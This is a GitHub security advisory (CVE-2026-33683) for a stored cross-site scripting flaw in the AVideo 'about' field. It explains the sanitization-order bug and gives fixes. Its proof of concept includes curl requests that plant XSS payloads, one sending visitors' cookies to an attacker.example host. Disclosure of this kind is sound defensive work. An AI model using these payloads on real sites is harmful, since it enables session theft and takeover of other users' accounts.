CVE-2026-33683: Wwbn/avideo Cross-Site Scripting Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-ghx5-7jjg-q2j7",
  "modified" : "2026-03-25T19:52:22Z",
  "published" : "2026-03-25T19:52:22Z",
  "aliases" : [ "CVE-2026-33683" ],
  "summary" : "AVideo vulnerable to Stored XSS via html_entity_decode() Reversing xss_esc() Sanitization in Channel About Field",
  "details" : "## Summary\n\nA sanitization order-of-operations flaw in the user profile \"about\" field allows any registered user to inject arbitrary JavaScript that executes when other users visit their channel page. The `xss_esc()` function entity-encodes input before `strip_specific_tags()` can match dangerous HTML tags, and `html_entity_decode()` on output reverses the encoding, restoring the raw malicious HTML.\n\n## Details\n\n**Input sanitization** in `objects/user.php:156`:\n\n```php\npublic function setAbout($about)\n{\n    $this->about = strip_specific_tags(xss_esc($about));\n}\n```\n\nThe call order is `strip_specific_tags(xss_esc($about))`. The inner `xss_esc()` function (`objects/functionsSecurity.php:233`) calls `htmlspecialchars()`:\n\n```php\n$result = @htmlspecialchars($text, ENT_QUOTES, 'UTF-8');\n```\n\nThis encodes `<script>alert(1)</script>` to `&lt;script&gt;alert(1)&lt;/script&gt;`.\n\nThen `strip_specific_tags()` (`objects/functions.php:6623-6636`) runs regex patterns to remove dangerous tags:\n\n```php\n$string = preg_replace('/<' . $tag . '[^>]*>(.*?)<\\/' . $tag . '>/s', $replacement, $string);\n```\n\nBut the regex looks for literal `<script>` — it can never match the entity-encoded `&lt;script&gt;`. The sanitizer is completely neutralized by the encoding that precedes it.\n\n**Output** in `view/channelBody.php:239-246`:\n\n```php\n$about = html_entity_decode($user->getAbout());\nif (!empty($advancedCustomUser->showAllAboutTextOnChannel)) {\n    echo $about;\n} else {\n?>\n    <div id=\"aboutAreaPreContent\">\n        <div id=\"aboutAreaContent\">\n            <?php echo $about; ?>\n        </div>\n    </div>\n```\n\nThe `html_entity_decode()` call reverses the `htmlspecialchars()` encoding, restoring the original raw HTML including `<script>` tags. The result is echoed directly into the page without any further escaping.\n\n**Secondary vector:** The `<img>` tag is not in the `strip_specific_tags` blocklist (`['script', 'style', 'iframe', 'object', 'applet', 'link']`), so payloads like `<img src=x onerror=...>` bypass even the intended tag stripping entirely.\n\nThe about field is set via `objects/userUpdate.json.php:28`, accessible to any logged-in user:\n\n```php\n$user->setAbout($_POST['about']);\n```\n\nThe channel page (`view/channelBody.php`) is publicly accessible — no authentication is required to view it.\n\n## PoC\n\n**Step 1:** Log in as any registered user and update the \"about\" field:\n\n```bash\ncurl -X POST 'https://TARGET/objects/userUpdate.json.php' \\\n  -H 'Cookie: PHPSESSID=ATTACKER_SESSION' \\\n  -d 'about=<img src=x onerror=alert(document.cookie)>&user=attacker&pass=password123&email=attacker@example.com&name=Attacker&analyticsCode=&donationLink=&phone='\n```\n\n**Step 2:** Any user (including unauthenticated visitors) navigates to the attacker's channel page:\n\n```\nhttps://TARGET/channel/attacker\n```\n\n**Expected result:** The JavaScript in the `onerror` handler executes in the visitor's browser, displaying their session cookie.\n\n**Alternative payload using `<script>` tag (also works due to the sanitization bypass):**\n\n```bash\ncurl -X POST 'https://TARGET/objects/userUpdate.json.php' \\\n  -H 'Cookie: PHPSESSID=ATTACKER_SESSION' \\\n  -d 'about=<script>fetch(\"https://attacker.example/steal?c=\"%2Bdocument.cookie)</script>&user=attacker&pass=password123&email=attacker@example.com&name=Attacker&analyticsCode=&donationLink=&phone='\n```\n\n## Impact\n\n- **Session hijacking:** Attacker can steal session cookies of any user (including administrators) who visits their channel page\n- **Account takeover:** Stolen admin session tokens allow full administrative access to the AVideo instance\n- **Phishing:** Attacker can inject fake login forms or redirect users to malicious sites\n- **Worm potential:** Stored XSS could modify other users' profiles programmatically, creating a self-propagating worm\n\nThis is a stored XSS affecting all visitors to any attacker-controlled channel page, with no user interaction beyond navigating to the page.\n\n## Recommended Fix\n\n**Option 1 (Recommended — remove html_entity_decode):** The entity-encoded string is already safe for display. Remove the decode call in `view/channelBody.php`:\n\n```php\n// Before (VULNERABLE):\n$about = html_entity_decode($user->getAbout());\n\n// After (FIXED):\n$about = $user->getAbout();\n```\n\n**Option 2 (If rich HTML is intended):** Reverse the sanitization order in `objects/user.php:156` and use a proper sanitizer:\n\n```php\n// Before (VULNERABLE):\n$this->about = strip_specific_tags(xss_esc($about));\n\n// After (FIXED — strip tags on raw HTML first, then encode):\n$this->about = xss_esc(strip_specific_tags($about));\n```\n\n**Option 3 (Best — if rich HTML in about is desired):** Replace both `strip_specific_tags()` and `xss_esc()` with HTMLPurifier, which properly handles allowlisted HTML sanitization:\n\n```php\nrequire_once 'vendor/ezyang/htmlpurifier/library/HTMLPurifier.auto.php';\n$config = HTMLPurifier_Config::createDefault();\n$config->set('HTML.Allowed', 'p,br,b,i,u,a[href],ul,ol,li,strong,em');\n$purifier = new HTMLPurifier($config);\n$this->about = $purifier->purify($about);\n```\n\nAnd on output, remove `html_entity_decode()` — output the purified HTML directly.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "26.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-ghx5-7jjg-q2j7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33683"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/7cfdc380dae1e56bbb5de581470d9e9957445df0"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-25T19:52:22Z",
    "nvd_published_at" : "2026-03-23T19:16:41Z"
  }
}